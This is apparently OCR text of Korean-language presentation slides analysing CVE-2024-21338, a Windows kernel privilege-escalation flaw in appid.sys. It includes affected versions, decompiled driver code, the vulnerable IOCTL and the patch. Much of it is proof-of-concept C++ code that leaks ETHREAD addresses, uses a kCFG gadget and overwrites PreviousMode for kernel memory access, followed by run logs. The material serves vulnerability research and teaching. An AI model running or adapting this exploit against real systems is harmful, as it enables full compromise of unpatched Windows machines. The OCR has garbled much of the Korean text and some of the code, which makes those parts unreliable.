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e CWE-822: CWE-822: Untrusted Pointer Dereference

CVSS 1Total (X]QFX] AlZIET)
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Learn more

Score Severity Version Vector String

7.8 HIGH 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/1:H/A:H/E:F/RL:O/RC:C
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Windows 11 Version 25H2

Vulnerability and Patch Info

Vulnerability Info

» CVE-2024-21338: Windows Kernel Elevation of Privilege Vulnerability (CVSS 3.1 Score: 7.8, High)
Patch Info Windows versions affected by CVE-2024-21338 vulnerabilities are as follows:

+ Windows 10 Version 1809

+ Windows 10 Version 21H2

« Windows 11 version 21H2

» Windows 10 Version 22H2

« Windows 11 Version 22H2

« Windows 11 Version 23H2

+ Windows Server 2019

+ Windows Server 2019 (Server Core installation)
+ Windows Server 2022

+ Windows Server 2022 (Server Core installation)

» Windows Server 2022, 23H2 Edition (Server Core installation)

2018/11/13 - 2024/02/13
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appid.sys
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UserMode

Executive

KernelMode o

Kernel mode drivers

POSIX 0s/2
Application  Application

Environment subsystems

Object Manager

Microkernel

Hardware Abstraction Layer (HAL)

mode

Hardware

UserMode -> KernelMode &t
1/0 Manager7t 2ME IRPE HI&

IRP: IOCTLOIA 22 X2]0fl Bt ES
ot goizjol Hol =efoluol M=
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C:\Users\phill\OneDrive\Desktop\Hacking-Tool>.\checksec.exe .\appid.sys

Processing... 0/1 »
Can't open '\lib\libc.so.6"
Can't open '\lib\libc.so.7®
Can't open '\lib\libc.so'
Can't open '\lib6d\libc.so0.6'
Can't open '\lib\i386-linux—gnu\libc.so0.6'
Can't open '\lib\x86_64-1linux—-gnu\libc.so0.6'
Can't open '\lib\arm-linux-gnueabihf\libc.so0.6'
Can't open '\lib\aarchéu4-linux—gnu\libc.so0.6"'
Can't open '\usr\x86_6U4-gentoo-linux-musl\bin\1ld'
Processing... 1/1 =
Checksec Results: PE
High Control
Dynamic Entropy Force Flow
File NX Canary | ASLR Base VA SEH | SafeSEH | Integrity Guard Isolation | Authent..
appid.sys = = Ye: S Ye: / S = = Yes
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DriverEntry



HUHE =4 : appid.sys

IOCTL M2 et4&Z C2lo|H 0] 2" Y2|™ MajorFunction[1410]] SE& SustLI SEE

1€ WPP_MAIN CB.DeviceType =

DriverObject->DriverUnload = (PDRIVER UNLOAD)AipUnload;

ObjectAttributes.Length =

17: DriverObject->MajorFunction[@] = (PDRIVER DISPATCH)&AipCreateDispatch;

173 ObjectAttributes.RootDirectory = OLL;

DriverObject->MajorFunction[2] = (PDRIVER DISPATCH)&AipCloseDispatch;
ObjectAttributes.Attributes = 512;

i DriverObject->MajorFunction[14] = (PDRIVER DISPATCH)&AipDeviceIoControlDispatch;
] ObjectAttributes.ObjectName = @LL;

DriverObject->MajorFunction[18] = (PDRIVER DISPATCH)&AipCleanupDispatch;

_ *(_OWORD *)&0bjectAttributes.SecurityDescriptor = 6LL;

180 ConfigOptions = ZwCreateEvent(&Handle, @x1F@003u, &0bjectAttributes, NotificationEvent, @);

DriverEntry



LABEL 29:
vh = 9]
break;
case 0x22a018u: Vulnerable IOCTL Code

if { WPP_GLOBAL Control != (PDEVICE OBJECT)&WPP_GLOBAL Control &8 (HIDWORD(WPP_GLOBAL Control->Timer) & 2) != 0 )
WPP_SF_(WPP_GLOBAL_Control->AttachedDevice, 27, S8WPP_4eb728cc340836ele@fe998aeabc9634 Traceguids);

if ( ExGetPreviousMode() )
goto LABEL 19;

if ( *(_DWORD *)(v5 + 16) == 32 )

{
ConfigOptions = AipSmartHashImageFile(*( QWORD *)|(a2 + 24), 0, 0, 0);

SystemBuffer
(SHEE HIH)

AipDeviceloControlDispatch



HU™ BM: gppid.sys

vll = AppHashComputeFileHashesInternal(
al,

*(_ QWORD *)(al + 16),
(  int64)8v21 + 12,
(char *)v6 + 204,

(_int64)(v6 + 75));

SystemBuffer + 0x16 =&

AipSmartHashimageFile



SHEENA H0j7ts¢!
SystemBuffers 7120\ =&
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SMEP(Supervisor Mode Execution Prevention)

kCFG(Kernel Control Flow Guard)



PoC

Proof of Concept
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4. SMEP/KCFG M2} 2

EHZ2 IOCTL s HI{ 48

3

s
o
o

ot=

o7

5. E2}0|H{ 7t



PoC : poc.cpp

voild* c_poc::set_ioctl_buffer(size_t* k_thread_offset, OSVERSIONINFOEXW* os_1info)

{
os_info->dwOSVersionInfoSize = sizeof(*os_info);
NTSTATUS status = RtlGetVersion(os_info); S1K| Windows H{X 3L8}7]
1t (!NT_SUCCESS(status)) 1
log_err("Failed to get 0S version!");
return nullptr;
}
log_debug( "Windows version detected: %lu.%lu, build: %lu.", os_info->dwMajorVersion, os_info->dwMinorVersion,
0s_info->dwBuildNumber);
xk_thread_offset = 0x232; PreViQUSMOde _?_Eﬁll
vold* 1octl buffer_alloc = os_info->dwBuildNumber < 22000
? malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W10)) Windows 102} 11 22
: malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W11));
return toctl_buffer_alloc;
}

PreviousMode: ?iXli 28|EJ7t HEE S0{ 27| “EF 2 &l DIt ASKII=X] HEUME=X] 7158 &



PoC : poc.cpp

UINT_PTR c_poc::get_kernel_module_address(const char* target_module)
{
NTSTATUS status = {}; ntoskrnl.exe
ULONG ul_bytes = {};
PSYSTEM_MODULE_INFORMATION h_table_info = {};
while ((status = NtQuerySystemInformation(
SystemModuleInformation|, h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {
1f (h_table_inTo = NULL) EIZEI 9-|l—'l 0= =2 g_{;‘ﬂ
h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info,
2 * (SIZE_T)ul_bytes);
else
h_table_info = (PSYSTEM_MODULE_INFORMATION )HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 *
(SIZE_T)ul_bytes);

}

if (NT_SUCCESS(status)) {
for (ULONG 1 = 0; 1 < h_table_info->ModulesCount; i++) {
if (strstr(h_table_info->Modules[i].Name, |[target_module) !'= nullptr) {
return reinterpret_cast<UINT_PTR>(
h_table_info->Modules[1].ImageBaseAddress);

4 e DEO| HO]A =4

return 0;



PoC : poc.cpp

A2 252 H|0]A F2AE Hlot= Ol =
imageBase: HI22/01 A PELI0] 0fCiol 20| E1=X| H22j0| 2HE|s

JH Z&: JHt EA (RVA)
AH T AKR: AIRE FA + TH 2 (VA)

ntoskrnl.exeOj|A] H|0|A F4AE Y= 0|K

Windows version 24H2 0|H, = Soll
ntoskrnl.exeOllAl ImageBaseE & £ AAUS

Medium Integrity Level: A| AR ItA0|Lt St 8°8 HE2 SIISotX|T Lkl ALK o 2 o AJ|= Jtset



PoC : poc.cpp




PoC : poc.cpp




PoC : poc.cpp

)& .Length = 1835034LL:
) & .Length = 1310738LL;
Y&WPP MAIN CB.Type = OLL;

& ApplD Properties ? X & ApplD Properties

Details Security Details Security

{Eroup or Uger names: (Group or Uger names:
- 82 LOCAL SERVICE

SAdmnsiators (L Mdminsiatons)

ER ,-':'q:l p 10Sve

Pemissions for LOCAL SERVICE

emissions or advanced settings, click Advanced.
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PoC : poc.cpp

size_t iloctl_buffer_length = {};

CFG_FUNCTION_WRAPPER kcfg_function = {};

if (os_info.dwBuildNumber < 22000) {
AIP_SMART_HASH_IMAGE_FILE_W10* wl0®_tioctl_buffer

(AIP_SMART_HASH_IMAGE_FILE_W10*)ioctl_buffer;

kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;
UINT_PTR previous_mode_obf =| previous_mode + 0x30; ObeereferenceObjectWithTagi.*-’.‘- L&

wlO_1ioctl_buffer->FirstArg = previous_mode_obf; lock xadd CIWOI‘d ptr ge)

wlO_toctl_buffer->Value = (PVOID)file_obj_address;
wl0_tioctl_buffer->PtrToFunctionWrapper = &kcfg_function;

toctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W10);

BuildNumberZ}t 22000 0|2t I (Windows 10)



PoC : poc.cpp

else
AIP_SMART_HASH_IMAGE_FILE_W11l* wll_ioctl_buffer = (AIP_SMART_HASH_IMAGE_FILE_W1l1l*)ioctl_buffer;

kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;
UINT_PTR previous_mode_obf = previous_mode + 0x30; ObeereferenceObjectWithTagE.*-’.‘- LH_EII_

wll_ioctl_buffer->FirstArg = previous_mode_obf; lock xadd CIWOI"d ptr , rbx
wll_tloctl_buffer->Value = (PVOID)file_obj_address;

wll_tloctl_buffer->PtrToFunctionWrapper = &kcfg_function;
wll_ioctl_buffer->Unknown = NULL;

toctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W11l);
}

log_debug("Sending IOCTL request to 0x22A018 (AipSmartHashImageFile)");

BuildNumberZ} 22000 0|4 i (Windows 11)



PoC : poc.cpp

charx buffer = (char*)malloc(sizeof(CHAR));
i1f (iloctl buffer)

{
log_debug("toctl_buffer -> O0x%p size: %d", toctl_buffer, itoctl_buffer_length);
i1f (!this->send_ioctl_request(h_device, ioctl_buffer, ioctl_buffer_length))
return false;
NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)buffer, (PVOID)previous_mode, sizeof(CHAR), nullptr);
log_debug("Current PreviousMode -> %d", *buffer);
} previous_mode => 0 ({2 2E)

log_debug("Restoring...");

*buffer = 1;
NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)previous_mode, (PVOID)buffer, sizeof(CHAR), nullptr);
log_debug("Current PreviousMode -> %d", *buffer);

free(ioctl_buffer); previous_mode -> 1

free(buffer);

NtClose(h_device); LA RKMEER &SH
(324, BSOD '&Xl)

return true;



PoC : main.cpp




PoC

[.] [ c poc::set ioct]l buffer ] Windows version detected: 10.0, build: 19045,
[.] [ c_poc::act ] AppLocker (AppId) handle opened: 0x000000000000008C

[.] [ c_poc::act ] Leaking the current ETHREAD address.

[.] [ c_poc::act ] ETHREAD address leaked: @xFFFFCS89E3508080

[.] [ c_poc::act ] Feching the ExpProfileDelete (user cfg gadget) address.
[.] [ c_poc::act ] Current ETHREAD PreviousMode address -> @xFFFFC589E35082B2
[.] [ c_poc::act ] File object address -> @xFFFFCS89EE9EF320

[.] [ c_poc::act ] kCFG Kernel Base address -> @xFFFFF8032D000000

[.] [ c_poc::act ] kCFG User Base address -> @xeeee7FF6DCEDOOBO

[.] [ c_poc::act ] kCFG Gadget address -> OxFFFFF8032D95DDB0

[.] [ c_poc::act ] Sending IOCTL request to @x22A018 (AipSmartHashImageFile)
[.] [ c_poc::act ] ioctl_buffer -> 0x000002780494D410 size: 24

[.] [ c poc::act ] Current PreviousMode -> @

[.] [ c_poc::act ] Restoring...

[.] [ c_poc::act ] Current PreviousMode -> 1
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PoC : Patch

( WPP_ GLOBAL Control WPP GLOBAL Control (HIDWORD (WPP GLOBAL Control->Timer)
WPP SF (WPP GLOBAL Control->*AttachedDevice, , «WPP Traceguids);

1f ( Feature 2959575357 private IsEnabled() && ExGetPreviousMode () )
goto invalid device request;
( CurrentStackLocation- -Parameters.DeviceloControl.InputBufferLength )

status AipSmartHashImageFile (a2 -AssoclatedIrp.SystemBuffer, 0Ui6d, 0Uied, (Uied);

ret status status;

-
F

relk status STATUS INVALID PARAMETER;

-
r

“SEZX} ZE(PreviousMode) H|3"E X7J}oll A,
SN 20 A A|ZHE IOCTLO|™ HIZ HE



| CIZE Sof ‘S $oPy BH0| 4L

ctXIE A7 BYOVD(Bring Your Own Vulnerable Driver)0i Af

‘HE E2t0jH O-day'Z E0{7IH 22 ES 41 =&

FudModuleg O3 % Oj'C =2

0] 21&X0| ALt

Al
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